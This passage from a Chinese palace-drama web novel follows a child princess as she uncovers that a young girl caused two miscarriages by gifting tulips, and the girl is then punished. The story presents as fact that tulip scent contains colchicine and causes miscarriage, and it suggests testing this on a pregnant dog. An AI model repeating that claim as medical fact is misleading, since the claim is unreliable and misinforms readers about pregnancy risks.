睿王救回来的落水庶女、路见不平救回来的花魁、一见钟情的舞姬、别人送的瘦马,还有前不久火遍京城的东姬,听说甚至还有个为睿王解春毒的寡妇… 来者不拒,五彩缤纷呐! 唐蕊:“??” 唐蕊:“…” 好家伙! 绝世大种马? 大夏西门庆? 平时真没看出来,睿王叔竟然好女色! “昭华,快来,昭华…”屋里传来辰王妃焦急的声音。 唐蕊甩了甩脑袋,无视门口一溜串女人各异的视线,迈着小短腿百米冲刺飞奔进去。 眼角扫到那些女人的时候,发现那个陶庶妃也想进来,唐蕊顺口扔下一句:“幻蝶守着门,谁敢强闯,就给本郡主打!” 睿王妃不让这些女人进去,肯定是有理由的。 这个时候,唐蕊肯定会选择相信睿王妃。 幻蝶闻言立刻停下脚步,转身挡在门口。 陶庶妃也停了下来,危险的眯起眼眸:“辰王妃就算了,昭华郡主这是什么意思?” 第151章 不是陶庶妃,居然是她 幻蝶带着面纱,面无表情:“奴婢只是奴婢,奉命行事!“ 陶庶妃冷声道:“真当我们睿王府无人了?” 幻蝶依旧面无表情:“奴婢只是奴婢,奉命行事” 陶庶妃噎了一下,又道:“你们辰王府和璃王府简直欺人太甚。” 幻蝶复读机附身一样继续输出:“奴婢只是奴婢,奉命行事!” 陶庶妃:“…”你踏马会不会聊天啊? 司徒妍这个时候走了过来:“这里是睿王府,轮不到璃王府的奴婢在这指手画脚,给本郡主滚开!” “就是!”陶庶妃虽然也看不惯司徒妍,但这个时候却选择跟她一个鼻孔出气:“听到没有?我家小郡主说了,滚开!” 幻蝶淡淡的瞥了她一眼,很快又收回视线:“妍郡主,容奴婢提醒您,论封号,您没有,论封地,您还是没有,论品阶,您更是不及昭华郡主,所以您觉得,奴婢是该听您的,还是该听昭华郡主的?” 司徒妍闻言沉下脸来。 嫡次女司徒月更是怒道:“贱婢,你敢这么跟我长姐说话?” 幻蝶不紧不慢福了福身子,随后缓缓拔出藏在靴子里的匕首。 一群女人和姐妹俩脸色微变,齐齐后退了几步。 幻蝶手持匕首守在门口,不卑不亢:“奴婢略懂一些拳脚,只是奉命行事,还请各位主子不要为难奴婢!” 一群女人:“…”说着最谦卑的话,干着最牛逼的事,这到底是哪里来的奇葩? 司徒妍狠狠的瞪了她一眼,怒气冲冲走到了一边。 “幻蝶是吧?我记住你了!”司徒月也恶狠狠的剜了她一眼。 … 屋里! 睿王妃奄奄一息,身下血水不停外冒,脸白得跟鬼一样。 辰王妃急得不行,握着睿王妃的手,不时去看唐蕊。 唐蕊按压着她几个穴位,最后发现用处不大,着急之下找睿王妃的贴身侍婢要来针线盒,拿出针扎在她断红、气海等穴位上,然后又把自己的斜挎包取下来往下倒,精准找到一个纸包打开,让睿王妃吞下去,又跑到一边开始写药方子。 等等! 这是什么? 唐蕊的目光很快被一旁花瓶里的花束吸引了。 贴身侍婢适时把水递给辰王妃,又看向唐蕊,眼泪直流:“郡主,我家王妃还有救吗?” “别睡过去就好!”唐蕊皱了皱眉,收回视线继续写。 第一次觉得,有必要去打些银针了。 “好,好…”侍婢哭着看向睿王妃:“王妃,听到了吗?千万别睡啊!” “可我…好困…”睿王妃眼神都有些涣散了,每说一个字,就像是用尽了全身的力气。 “你现在失血太多,困也不能睡!”唐蕊抽空说了一句,把写好的药方子给侍婢:“三碗水熬成一碗,十全大补汤得快,听到没?” “好,奴婢这就去,我家王妃麻烦二位了。”侍婢拿到药方子,赶紧跑了出去。 绣花针说到底不是银针,唐蕊都不敢使劲扎,发现她身下的血稍微止住了些,又赶紧取下那些针,揉按着这些穴位。 辰王妃看着这样的睿王妃也挺难受的:“你这到底是怎么了啊?” “是…是陶庶妃,肯定是她…”也不知道是唐蕊的药起了作用,还是太狠陶庶妃,睿王妃说起这个名字,人都精神了很多,咬牙切齿道:“肯定是她害我!” 辰王妃怒其不争:“你可是正妃,拿出你的手段来反击啊!” 谁让睿王府里是这么个光景,要是睿王妃自己立不起来,谁又能帮她? 睿王吗? 别闹了! 睿王可不是辰王或者司徒澈,没那么英明。 “我又何曾不想?可王爷总是偏心她…”睿王妃都快呕死了。 每次她一说陶庶妃,睿王不是岔开话题,就是说她善妒,作为正妃,没有容人之量。 她怎么就没有容人之量了? 她是正妃,给予她应有的尊重不是应该的吗? 为什么睿王老偏向陶庶妃? 既然这么爱她,那为什么还要娶别的女子回家霍霍?两个人互相折磨锁死不行吗? 唐蕊皱了皱鼻子,突然指向那盆花:“五皇婶,那花是哪里来的?” 睿王妃顺着她手指的看去,神色缓和了一些:“妍姐送来的,说是花房培育的新种,气味很是好闻。” “…”屁的新种啊? 虽然大夏没有这种花,龙国古代也没有,但龙国现代很常见的花啊! 唐蕊无奈道:“那不是新种,应该是来自海外,一种叫郁金香的花,这种花朵中含有一种名为秋水仙碱的生物碱…哎呀,就是对孕妇有害的毒,普通人闻闻没事,要是孕妇闻多了,会导致滑胎哦!” “什、什么?” 睿王妃呆住了! 辰王妃也一脸震惊,拉住唐蕊,神色严肃:“昭华,你说的可是真的?” 唐蕊点点头:“我发誓说的都是真的,你们要是不信,可以找条怀孕的狗试试。” 龙国花店都有的东西,她还会认错? 至于这个世界的郁金香是不是来自海外,唐蕊也不清楚,反正龙国历史上,郁金香确实是外来花种,还是1930-1977年流入龙国的。 郁金香不仅对孕妇有影响,对怀孕的狗狗也有影响的,找条怀孕的狗狗也可以试的。 “是她…居然是她…”睿王妃根本无法相信这个事实,整个人都有点崩溃:“我待她不薄,她…为什么要害我?” 唐蕊:“…”这个她也很好奇。 辰王妃倒是能猜到点司徒妍的心思,无非就是担心府里有儿子出生,影响她嫡长女的地位吧? 可…可也用不着这么歹毒吧? 儿子跟女儿又不一样! “对了…对了…不是我,不是我…”睿王妃不知想到什么,神色激动的拉着辰王妃:“我没害陶庶妃的孩子,是妍姐,我记得很清楚,当初陶庶妃有孕在身,妍姐也给她送了这样的花!结果没多久,陶庶妃就小产了!她小产之前,妍姐还来找过我,说她有些不舒服,让我去看看,还好我没去,不然我陷害她的事,怕是要彻底坐实了。” 辰王妃:“…” 唐蕊:“…” “她…她好狠的心啊…”睿王妃根本无法接受这个事实,哭得撕心裂肺。 她虽是继妻,可对府里三个女娃,也算是尽到了一个嫡母的义务。 她真的没想到,自己养出来的是白眼狼啊! 第152章 奴婢只是奴婢,奉命行事 “别哭,五皇婶别哭啦,你这…算是坐月子,要是哭狠了,以后会落下病根的。”唐蕊挺同情她的,踮起脚尖替她擦掉眼泪,温声安抚着。 辰王妃也道:“昭华说得没错,你要是把眼睛哭坏了,有的是人高兴,没有任何意义!为今之计是养好身体,想想怎么让睿王相信这件事,说到底他才是一家之主。” “是…”睿王妃眼底划过一丝恨意:“我不哭,哭没有用,我要那该死的司徒妍为我的孩子偿命!” “这就对了!”辰王妃说罢,看了看门口:“你的丫头怎么还不把药端来?” 她话音刚落,就听到屋外传来襄王妃的呵斥声:“陶庶妃,本妃是在问她,又没问你,轮得着你说话吗?” “我去看看!”辰王妃嘱咐唐蕊帮着照看一下睿王妃,走出房门。 抬眸一看,只见睿王妃的贴身侍婢站在一边,一副敢怒不敢言的样子,脚边是碎掉的碗。 襄王妃把她护在身后,正在硬刚陶庶妃。 “怎么了?”辰王妃一开口,所有人都看了过来。 司徒妍赶紧上前,一脸关切:“三皇婶,我母妃怎么样了?我能进去看看她吗?” “…”瞧瞧,这样子,谁来了不夸一声绝世好闺女? 要不是唐蕊指出那盆叫什么郁金香的花有问题,她都看不出来居然藏着歹毒心思。 心思深沉的人不可怕,可怕的是这个人,才九岁! “暂时不能进去!”辰王妃以前还是多喜欢司徒妍这个晚辈的,可现在怎么看她怎么面目可憎。 扔下这话后,便不理她了,看向襄王妃:“你怎么也来了?” “出了这么大的事,我能不来吗?”襄王妃上前,看了看屋里:“五嫂如何?” “不太好!”辰王妃说这三个字的时候,眼角一直注意着司徒妍,果然见她默默的松了一口气的样子。 辰王妃心下一沉,直到现在才彻底相信了唐蕊的话。 果然是这妮子干的! 辰王妃闭了闭眼,看向贴身侍婢:“让你给你家主子熬的药呢?” “辰王妃!”贴身侍婢扑通一声跪下了,还挤出了两滴眼泪:“奴婢刚端进院儿里,陶庶妃身边的桂香就撞了过来,药也洒了!” “不止呢!”襄王妃也接过话来:“本妃来的时候,陶庶妃还拉着这个丫头不依不饶,非说这丫头冲撞了她。呵…这是不知道五嫂在鬼门关,正等着药救命,还是觉得五嫂死了,她就能上位啊?” 陶庶妃脸色一变:“襄王妃,你别冤枉好人,我可没这意思。” “放肆!”襄王妃人脸一收鬼脸一放:“你算什么东西?跟谁你啊我的?本妃好歹是正妃,你一个庶妃,在本妃面前难道不应该自称婢妾吗?” 陶庶妃一张脸黑了个彻底,死死的握着拳头,气得浑身发抖。 “五皇兄也是,平日里再忙,也要多顾顾家啊,看看这睿王府的风气,都被一些没有规矩不分尊卑的女人搞坏了。”襄王妃连襄王的面子都不给,岂会怕她一个小小庶妃,见陶庶妃恶狠狠的瞪着她,她反而问到:“你这什么表情?想杀了本妃吗?” “婢妾!不敢!”四个字,陶庶妃就像是从牙缝中挤出来的一样。 本以为这么说,襄王妃就能见好就收了。 襄王妃轻嗤一声,满脸不屑:“没用的东西,只会欺负脾气好的。” 陶庶妃:“…” 啊啊啊啊! 气死了! 辰王妃知道谁是罪魁祸首,只想给陶庶妃一点教训,就没拦着。 现在襄王妃也教训完了,她也适时岔开话题,指着那个侍婢:“你再去端药,要快!” “是!”侍婢擦掉眼泪,起身往院外跑去。 辰王妃又略带深意的看向陶庶妃:“你也别闹腾了,不就是想进去看看吗?进来吧!” 陶庶妃闻言愣了愣,可辰王妃已经转身进屋了。 襄王妃白了她一眼,也踏入屋中。 陶庶妃一脸茫然,不懂辰王妃葫芦里卖的什么药。 身后一群女人叽叽咕咕:“陶姐姐,还是别进去了,恐怕有诈!” “本庶妃会怕她?”陶庶妃一听这话又硬气起来,昂首挺胸往屋里走去:“进去就进去,本庶妃就不信了,她还能把这事赖在我身上。” 司徒妍眼珠子一转,也跟在她身后想进去。 然而,陶庶妃进去后,她却被幻蝶拦了下来。 司徒妍怒了:“什么意思?陶庶妃都放进去了,凭什么不让本郡主进去?” 幻蝶依旧复读机:“奴婢只是奴婢,奉命行事!” 司徒妍:“…” … 约莫半个时辰后,睿王终于回了府,还带着太医与几个王爷。 陶庶妃怀的庶子就算了,睿王妃肚子里的可是金贵的嫡子。 兄弟嫡子出了事,肯定是要来看看的。 只不过他们都是男子,不方便进入王府后院,在就前厅等着。 睿王带着太医赶到的时候,就见后院里的女人几乎都在这,眉头一皱:“你们怎么不进去照顾王妃?” 一群女人们:“…”我们倒是想进去看看她死没死,可有人不让我们进去啊! “父王!”司徒妍看到他,委屈巴巴跑了过来:“您可算回来了,三皇婶和六皇婶都在里面,就连昭华也在,可她们不准女儿进去照顾母妃!” “是啊王爷,我们倒是想进去照顾,可有人把咱们睿王府当成自己的王府,不给进呀!” “刚刚襄王妃还把陶姐姐骂了一通,陶姐姐都哭了。” “王爷,您可要给我们做主,我们睿王府的事,关别人什么事呀!” … 一群女人也趁机七嘴八舌告状,吵得睿王一个头两个大。 “够了!”睿王一声吼,止住了这些女人的声音:“不让你们进就不进,全在外面待着。太医,你随本王进去看看王妃。” “是!”太医提着箱子,随他进了屋。 只见,他心爱的陶庶妃一脸木然的杵在原地,就像是灵魂出窍了一样。 辰王妃和襄王妃则是在床边照顾他的王妃。 而他的王妃,眼眶红红,明显是哭过。 那微微隆起的小腹,也瘪了下去。 睿王眼底划过一丝失望与落寞:“孩子没了?” 第153章 是司徒妍,她害死了妾身的孩子 “王爷…”睿王妃呜咽着朝他伸出手。 可睿王却并没过去,而是不耐烦的对太医挥了挥手,让他去看,自己却来到了陶庶妃身边:“怎么了?她是不是又欺负你了?” 陶庶妃呆呆的摇了摇头。 睿王妃怔楞片刻,手也无力的垂了下去,偏过头去默默流泪。 唐蕊:“…” 辰王妃:“…” 有亿点点无语! 襄王妃眉头直皱,一个没忍住为睿王妃打抱不平了:“五皇兄,这事我本不该说,可你这也太偏心了吧?五嫂刚没了孩子,你不安慰她就算了,反而去安慰一个庶妃?这叫什么事儿?” 睿王不耐烦道:“她不是没死吗?本王有什么可安慰的?入府一直无所出,好不容易怀上也没了,一点用都没有,本王没怪罪她就不错了。” “!!”嘿!我这暴脾气! 襄王妃猛的站起身来,辰王妃却拉住了她,对她摇了摇头。 她们插手睿王府后宅之事本就不合适,怎能再插手人家夫妻俩的事? 辰王妃拦得住襄王妃,却拦不住唐蕊。 她也受不了睿王的狼心狗肺了,突然开口:“睿王叔,你知道十八层地狱吗?” 睿王不懂唐蕊为何突然提起这个,愣了片刻,还是点了点头:“本王知道,传闻都说人死后会入轮回,但是入轮回前会去地狱赎生前的罪孽。” 呵呵! 你知道就好! 唐蕊又问:“那你知道铁树地狱吗?” “本王博览群书,自然知道!”睿王还是很喜欢小唐蕊的,以为唐蕊考他呢,笑着解释道:“铁树地狱是十八层地狱中的第三层,专门惩罚那些在世时离间骨肉关系,挑唆家庭不和的人,包括破坏父子、兄弟、姐妹或夫妻之情,死后都会入铁树地狱。” “…”原来你都知道啊! 唐蕊恍然大悟哦了一声,再次开口问道:“那如果一个人轻视正妻,导致夫妻关系破裂,算不算破坏夫妻关系呢?” “这当然…”睿王刚说三个字,突然怔住了。 是哦! 谁说外人破坏夫妻就是破坏,自己自毁夫妻关系就不是破坏呢? 唐蕊这是在点他? 意识到这一点,睿王眉头微蹙:“昭华,你还小,不懂大人之间的事。” 唐蕊也没跟他犟:“没错,昭华不懂。昭华只是觉得,五皇婶肚子里的宝宝,不光是五皇叔您的宝宝,也是她的宝宝,宝宝没了,五皇婶这个亲娘,也会难过吧?反正我要是出了事,我爹爹和我娘亲两个人都会难过,不止是我爹爹一个人难过哦!” “这…”好像也是这么个道理! 睿王噎住了,复杂的看了一眼床上的睿王妃,迟疑片刻还是走了过去,询问太医:“王妃如何?” 太医拱手道:“回睿王,失血过多,很是虚弱,伤及根本。以后还是要仔细养着,两年内都不宜生育。” 两年? 两年他都不能拥有自己的嫡子了? 睿王一听这话,刚刚对睿王妃升起的那点怜惜瞬间消失无踪,气急败坏道:“到底是怎么回事?好好的为什么会滑胎呢?” 睿王妃惨然一笑:“王爷在乎吗?” 睿王恼怒道:“你这说的是什么话?你怀的可是爷的嫡子,嫡子啊!爷怎么会不在乎?” 庶子哪能跟嫡子比? 好吧! 他连庶子都没有! 这一胎大夫都确定了是男胎! 现在也没了! 难道他这辈子注定没有儿子吗? 睿王想到这,整个人都不好了。 “父王,我想进来看看母妃!”屋外传来司徒妍焦急的声音。 “…”倒是个有孝心的好孩子! “进来吧!” 睿王神色微缓,丝毫没有注意到一屋子女人神色怪异。 得到允许,幻蝶也不拦了,司徒妍推门而入。 睿王叹息一声,正想安慰她几句时,陶庶妃却突然回魂了,死死的盯着司徒妍,怪叫一声冲了过去,扬手甩了她一个大逼兜子! 啪! 司徒妍捂着脸,都被打懵了! 这还没完,陶庶妃下一刻把她推倒在地,骑在她身上,一个又一个大逼兜子疯狂往她脸上招呼。 “云烟,你这是作甚?”睿王傻眼了,大步走过去把陶庶妃拉了起来。 “放开我,放开我!”陶庶妃不停挣扎,凶狠的死盯着司徒妍:“我要杀了她,杀了她,为我的儿子偿命!” 正想发脾气的司徒妍听到这话,瞳孔微缩,大声呵斥:“陶庶母,你在胡说什么?” “你还装?”陶庶妃推开睿王,指着那盆郁金香:“那不是你送的吗?当初你也给我送过,口口声声说是花房培育出来的新种,现在你告诉我,那盆破花到底是什么?” 司徒妍眼底慌乱一闪而逝,很快镇定下来,露出委屈的神色:“那就是花房培育出来的新种啊,有什么问题吗?” “哈哈哈…新种?”陶庶妃上前扯住她的衣襟,咬牙切齿道:“直到现在你还在骗我?要不要我找条怀孕的狗,试试那盆花到底是什么?啊?” 说罢,陶庶妃用力把司徒妍推到在地。 司徒妍彻底慌了,大脑嗡嗡响,一时间都不知道该怎么办! 睿王一脸茫然:“云烟你…你在说什么啊?” 为什么这些字拆开他都认识,合在一起就听不懂了呢? “王爷,王爷啊呜呜呜…”陶庶妃哭得撕心裂肺:“妾身的孩儿不是王妃害的,妾身错怪王妃了,是她,是司徒妍,她害死了妾身的孩子,现在又害死了您的嫡子啊!” 睿王闻言如遭雷劈,隔了好久,才找回自己的声音:“你…你到底在说什么啊?” “我来说吧!”辰王妃眼看唐蕊要开口解释,不想她再树敌,赶紧抢在她前面开口:“五皇弟,那盆花是海外流传过来的花种!叫郁金香,它还有一个名字,叫草麝香!” 睿王:“??” 睿王:“!!” 什么郁金香,他听都没听说过。 但是‘麝香’这两个字他听懂了! 睿王震惊的看着司徒妍,像是第一次认识她似的:“妍儿,你…你…你做的?” 第154章 大逆不道,倒反天罡 怎么会呢? 他的嫡长女虽不如唐蕊那么聪慧,却一直乖巧听话,是一个合格的大家闺秀。 唐蕊没出现时,他甚至以这个女儿为荣! 她怎么会做出这样的事来? 司徒妍此时脑子里也很乱。 她也很想咬死不认,但…陶庶妃说了,要找条怀孕的狗来试。 这一试,她再否认也没用了。 毕竟她当初仗着没人认识这种花,送陶庶妃和睿王妃的时候,根本就没遮掩。 司徒妍垂着头,众人看不清她脸上的表情。 不知过了多久,她似乎知道辩无可辩,叹息一声站起身来,冷冷的看了看陶庶妃,又直视着睿王:“父王,确实是我做的!” “你这个逆女!”睿王暴怒,上前一脚把她踹翻在地:“你为什么要这么做?啊?” 司徒妍擦掉嘴角的血,长久以来的憋屈与郁闷也爆发了。 “为什么?还不是因为你更喜欢儿子!如果有了弟弟,你还会看重我和妹妹吗?” 司徒妍拍着自己的胸口声声质问,眼泪直掉:“我和妹妹已经没了娘,难道还要失去爹吗?” “混账!”睿王又是一脚把她踹翻在地,指着她怒道:“儿子和女儿能一样吗?儿子是传宗接代的,女儿嫁出去就是别人家的,本王当然更看重儿子啊!不要儿子,难道你长大后能不嫁人吗?能承袭王爵吗?你能吗?” “我为什么不能啊?”司徒妍哭着宣泄着一直以来心中的不服:“为什么?为什么女子就要低男子一等?为什么女子就要嫁人而不是招赘婿?为什么女子十月怀胎辛辛苦苦生出来的孩子要跟夫家姓?为什么女子就不能承袭爵位啊?不是男儿身,又不是我能决定的,我也是你的孩子,我也姓司徒,我为什么就不能啊?这到底是为什么呜呜呜…” 一屋子的女人都沉默了,屋外听到司徒妍咆哮的一群女子也沉默了。 唐蕊眼神复杂,心里还是很触动的。 为什么? 龙国五千多年的历史,是不是曾经有很多女子也像司徒妍这样,无数次质问老天这个问题? 她们也很想知道为什么吧? 可惜这种陋习,不管过了多少年,就算到了提倡男女平等的现代,也还是有很多重男轻女的人家在延续! 唐蕊叹息一声,轻声打破了沉默,也算是为司徒妍解惑:“有没有可能,这个世上从来不存在什么男尊女卑,只有弱肉强食?女子不管是力气还是速度,天生不如男子,所以被世人标榜为弱者,既然是弱者,自然没有话语权,就像是老虎吃狼,狼吃兔子一个道理。兔子没狼强,只有被吃的下场,狼没老虎强,也只有被吃的下场。同样的,女人没有男人强,只会被男人掌控命运!若是你,尊贵的郡主,会看重一个平民老百姓吗?” “我…”自然是看不上的。 “原来,是这样啊…” 司徒妍看向唐蕊,突然笑出声来,一边笑一边流泪:“昭华,没想到你竟然看得这么透彻,可不是就是这样吗。从来就没有什么男尊女卑,只有弱肉强食…弱肉强食哈哈哈…人跟野兽都是一样的,一样的呜呜呜…” “父王…”司徒妍吃力起身,朝睿王跪下了,一边哭一边道:“父王,对不起…母妃,对不起,陶庶母…真的对不起,妍儿让你们失望了,妍儿甘愿受罚,可月儿是无辜的,还请父王和母妃,不要怪罪月儿,她什么都不知道…” 睿王依旧怒气难消,脸色阴沉。 他是男子,完全无法感同身受,只觉得这番狡辩大逆不道,倒反天罡! 陶庶妃听了司徒妍一番话,神色很是复杂。 就连睿王妃,也默默的别开视线,眼眶红红,有些被司徒妍的想法震撼到。 虽然她从小接受的是以夫为天的教育,但…也曾无数次恨自己为何不是男儿身。 如果她是男儿身,就可以如男子那般,建功立业,继承家业,甚至是三妻四妾。 她不用成为男子后院里无数个女人当中的一个,不能嫉妒,不能有怨言,还要任劳任怨伺候男人,替他们操持家业娶小妾。 可她不如司徒妍勇敢,只敢在心里不平,从不敢表露出自己的不甘来。 “长姐,呜呜呜…”嫡次女司徒月哭着跑了进来,抱着司徒妍哀求睿王:“父王,求求你,饶过长姐吧!月儿没有娘了,不能再没有长姐了…” “怎么饶恕?她害死了本王两个孩子,还是因为如此大逆不道又荒唐可笑的理由。” 睿王来回走了几步,一咬牙狠下心来:“来人,把司徒妍带下去,关进柴房,本王现在就入宫,找父皇求废郡主的圣旨!” “不要,父王,不要啊父皇…”司徒月哭得撕心裂肺,抱着司徒妍不肯撒手。 可已经有小厮进来拉人了。 司徒妍只来得及摸了摸司徒月的头,就被两个小厮拖了下去。 司徒月想追,她的婢女却跑了进来,死死的拦住了她:“三小姐,别闹了…” “松开我,长姐,长姐…父王,饶过长姐吧呜呜呜,月儿愿意代替长姐受罚,不要废掉长姐!”司徒月伸出小手,却被婢女拽得紧紧的。 “月儿,要听话,照顾好自己…”司徒月不舍的看着她,满脸泪痕,大声喊道! “长姐,长姐…呜呜呜…” 司徒月眼睁睁的看着司徒妍消失在自己的视线中,一用力推开婢女,扑通一声给睿王跪下了:“父王,求求你求求你,放过长姐…” “你还杵着做什么?把三小姐带回去好生照顾!”睿王跟一个小丫头说不通,瞪了婢女一眼。 婢女哆嗦了一下,立刻强行把司徒月抱走! “唉…”辰王妃摇了摇头,叹息一声:“五皇弟,既然你回来了,我们也告辞了。” 睿王微微颔首,脸依旧黑的:“今日之事,有劳三嫂!” “没给你添麻烦才好,五弟妹刚没了孩子,你也别怪她了,她是无辜的。” 辰王妃言罢,见睿王点了点头,便与襄王妃带着唐蕊走了。 … 第155章 欲戴其冠必承其重 几个王爷听说了睿王妃滑胎的情况,N脸震惊。 虽然他们比起睿王更看重自己的妻子,但同样无法认同司徒妍那一番言论。 夫为妻纲,妻未嫁从父,出嫁从夫,夫死从子,这是恒古以来顺应天道的定律,也是真理。 司徒妍的想法为何如此惊世骇俗?还为此害死了两个未出生的小生命? 只有司徒澈,换成以前,他或许也不理解。 可自从唐蕊找上门来之后,受她影响,倒是隐隐有点理解司徒妍心里的不甘了。 都是娘生爹养的,儿子和女儿又有什么不同呢? 为什么世人会更看重儿子? 马车里,唐蕊兴致恹恹,有些打不起精神。 司徒澈笑了笑,打开一个暗格,拿出一盘百合酥放在她面前:“要不要吃?” “有点吃不下!”唐蕊双手撑着下巴,肉乎乎的小脸写满了郁闷:“爹爹,要是母妃怀的不是小弟弟,你会不会失望哦?” 这… 司徒澈眉头微蹙,扪心自问了一番才迟疑道:“失望肯定会有点,但应该不多!” 唐蕊撇撇嘴:“没想到爹爹也是重男轻女之人!” “…”长得可爱就可以胡说八道吗? 司徒澈觉得自己有必要自证一下,放下那盘百合酥后,这才正色道:“儿子方能承家业,这是自古以来不成文的规矩,但历史上也有很多女子承家业的先例。若是有儿子,本王自当好好培养他,承袭王爵,成为你的底气。若是本王注定命中无子,女儿承家业也不是不可。而且…” 说到这,司徒澈沉吟了片刻,继续说道:“本王一直认为,欲戴其冠必承其重。儿子承家业,并不是因为女儿不如儿子,而是因为儿子比起女儿,性子应该更加坚韧一些,要背负的也会更多。就像是你皇爷爷,贵为一国之君,皇权至上,表面风光,你又怎知他背后要承受多少?” 唐蕊闻言若有所思! 这么说,好像也没错! 见她露出思考的神色,司徒澈笑了笑,揉了揉她的脑瓜,眼神也柔和下来:“国者,无民不立,无王不兴。王,本就是民献给国的祭品,领受民之膏血,是为以王之牺牲换取国之昌盛。本王确实是希望有个儿子承袭王爵,但本王不是看不起女儿,而是心疼自己的女儿,你可以无忧无虑快乐一生,没必要承担这份责任。” 唐蕊惊讶的看着自家老爹,从没想过他的三观能正到这个地步。 若是个现代人也就罢了,可他是个纯纯的古人啊! 难道便宜爹爹也是从现代穿过来的? 抱着这个想法,唐蕊试探着说了一句:“奇变偶不变?” 司徒澈头顶缓缓升起一个问号:“什么?” “没…”唐蕊觉得自己想太多了,她画的那些图纸,做的奶茶,可都是现代的东西。 便宜爹爹要是从现代穿来的,不可能看不出来。 “我都饿啦!”唐蕊岔开话题,挪到小塌前,拿起一块百合酥往嘴里塞:“哇哦,好次…” “慢慢吃,没人跟你抢…” 司徒澈觉得自己的马车里以后要多准备点吃的,方便唐蕊随时干饭。 … 回到王府后,一群女人听说了睿王府的事,唏嘘不已。 秦芷嫣反正是无法认同司徒妍的观点的:“这世上,男子有男子要做的事,女子也有女子要做的事,要是真想她想的那么来,这世界不是乱套了么?” 顾侧妃神色淡淡:“想法很好,就是有点大逆不道,若是真把她当男儿养,让她上阵杀敌,她就愿意?” “我愿意啊!”张庶妃赶紧开口:“我爹就是把我当男孩子养,我觉得没什么不好,至少我现在能保护自己,一般的宵小奈何不了我!” 顾侧妃噎了一下,无语的看了她一眼。 当谁都跟你这男人婆一样? 也就是亲亲相公不嫌弃你,扔去别的人家试试,最多三天,别人就得退货! “打打杀杀成何体统啊!”朱侧妃接过话来,顺手拿了一块糕点闻了闻,觉得味道不错,这才咬了一口,含糊不清道:“像咱们,这小日子过得多舒坦,干嘛给自己找不自在?” “就是就是!”李庶妃懒懒的扶了扶发髻,对司徒妍的言论表示不屑:“女子嘛,只要会投胎,嫁得好,这才是最重要的,说白了,还是得看运气。” 她这人,从小到大运气都不错。 虽然出生商贾,但从小到大都是锦衣玉食。 后来入了璃王府,司徒澈这个亲亲相公长得好,脾气也好。 秦芷嫣这位正妃,也非常好说话,从不打压小妾。 她这小日子过得,不知道多滋润呢! 秦芷嫣叹息一声,看向唐蕊:“蕊蕊,那妍姐如何了?” “被睿王叔关进柴房了,睿王叔应该会进宫去找皇爷爷请废郡主的圣旨吧!” 唐蕊刚说完,徐嬷嬷就快步走了进来:“王妃,睿王已经求到废郡主的圣旨了,不仅如此,皇上勃然大怒,让妍主儿去普光寺给那两个未出世的孩子诵经恕罪,明日就走。” 一群女人面面相觑,神色复杂。 普光寺可是尼姑庵。 什么诵经恕罪,说白了,就是把司徒妍送去做姑子了。 这种惩罚,对于一个女子来说,可比杀了她还难受。 司徒妍那么小,这辈子算是毁了。 唐蕊:“…” 也…还好吧? 至少没有被逐出皇家玉牒,以后皇帝要是消气了,也许还能回来。 司徒妍才几岁,也不是不能等。 只是可怜了那两个还没出世的小宝贝了。 唐蕊化悲愤为力量,饭菜上桌后,干了几盘子肉菜,肚子吃得圆滚滚的。 … 翌日一早,唐蕊梳洗过后早早起床。 今天是五家店铺开张的日子,她得去凑凑热闹。 大格和二格知道她闲不住,昨晚就把两匹马儿刷得油光发亮了。 出于上一次的拐走事件,这一次唐蕊出门屁股后面跟了七八个侍卫,明月首当其冲。 干净的街道上,马车啪嗒啪嗒,后面一群大老爷们整齐有序的跟着,一个个一副莫挨老子的高冷样。 如此阵仗,引得路人频频看来。 唐蕊掀开帘子看了一眼后面亦步亦趋的一溜串,第N次捂脸。 第156章 五个店铺开张 这种黑涩会大姐出门,小弟跟随的场景,从没想过有一天会发生在她身上。 爽感没感觉到,她只感觉到了尴尬! 还好上次去辰王府,是辰王叔派人来接的,明月也在暗处隐身。 不然,她会提前感受这份尴尬! 唐蕊赶紧让大格和二格停车,掀开车帘朝明月招了招手。 明月神色一肃,凌空一跃来到马车旁,拔出长剑警惕的看着周围。 他带着的侍卫们也有样学样,纷纷冲了过来,瞬间把马车围成了一个圈儿。 明月还道:“郡主别怕,不管是谁,来一个属下砍一个,来两个砍一双!” “没错,誓死保护郡主!”侍卫们扯着嗓子一声吼。 路人们吓了一跳,忌惮的看了一眼马车,纷纷绕道而行。 “…”神经病啊! 唐蕊额头滑落黑线,敲了敲明月的脑袋:“没有贼人,我是想说,你们能不能低调点哦?” 明月斟酌片刻,虚心请教:“怎么低调?” 唐蕊指了指那些侍卫的衣服:“你们别穿得这么显眼,也别这么大声。” “不行!”明月态度坚决:“属下向王爷立下了军令状,再也不会发生上次那种事。” “…”可你们也不用这么夸张吧? 我尴尬的脚指头都能抠出一座巴啦啦魔仙堡了。 唐蕊耐下心来,继续忽悠:“可你们这样,谁都知道这马车里坐着昭华郡主了,我会更危险吧?” 明月:“…”好有道理,无法反驳! 唐蕊再接再厉:“你乖点,带着你的人去买几件普通点的衣服,我给你们出银子好不好哦?” 明月一听这话,脸色更是严肃了几分,嘴里说出来的却是:“出多少?” “…”每次跟明月说话,她都要无语个几秒。 便宜爹到底是从哪里找来的这种奇葩啊! 唐蕊无奈的比了个数:“每人五两?够了不?” “够!”明月眼睛一亮,一点都不客气的朝唐蕊伸手。 唐蕊吐出一口浊气,从斜跨包包里摸出一张银票递给他:“快去吧!” “好!”明月拿着银票一蹦一跳的走了。 真是一蹦一跳,就差来首采蘑菇的小姑娘了。 唐蕊让大格和二格把马车靠边,安静等着。 她不知道的是,明月跑到成衣铺里后,直接告诉老板:“最便宜的给我来九件!” 如果她知道,肯定会喷明月一脸。 没过多久,明月一蹦一跳的回来了,心情很好的样子。 侍卫们也收到了新衣服。 只是吧,这衣服的手感,摸着咋那么像麻布呢? 虽然心里疑惑,侍卫们可是断不敢质问明月的,只能乖乖换上。 马车继续前行,明月估计是拿人钱财,倒是没有像一开始那么高调了。 很快,唐蕊抵达了第一站,秦芷嫣的成衣铺。 这是位于京城中心,一家三层楼的大店铺。 一眼看去,里面人头攒动,还挺热闹。 小二拿着一本本图册,站在门口,不时拦住过路的人,打开图册给他们参观各种衣服款式。 当然,这种推销方式也是唐蕊跟秦芷嫣建议的,没想到还挺有用。 幻蝶小声道:“郡主,我们进去吗?” “算了,生意不错的样子,咱们就别去给掌柜的添乱了,去下一家叭!”唐蕊放下车帘,选择离开。 第二家是朱侧妃的火锅店。 好家伙,唐蕊知道生意不会差,可没想到会这么好啊! 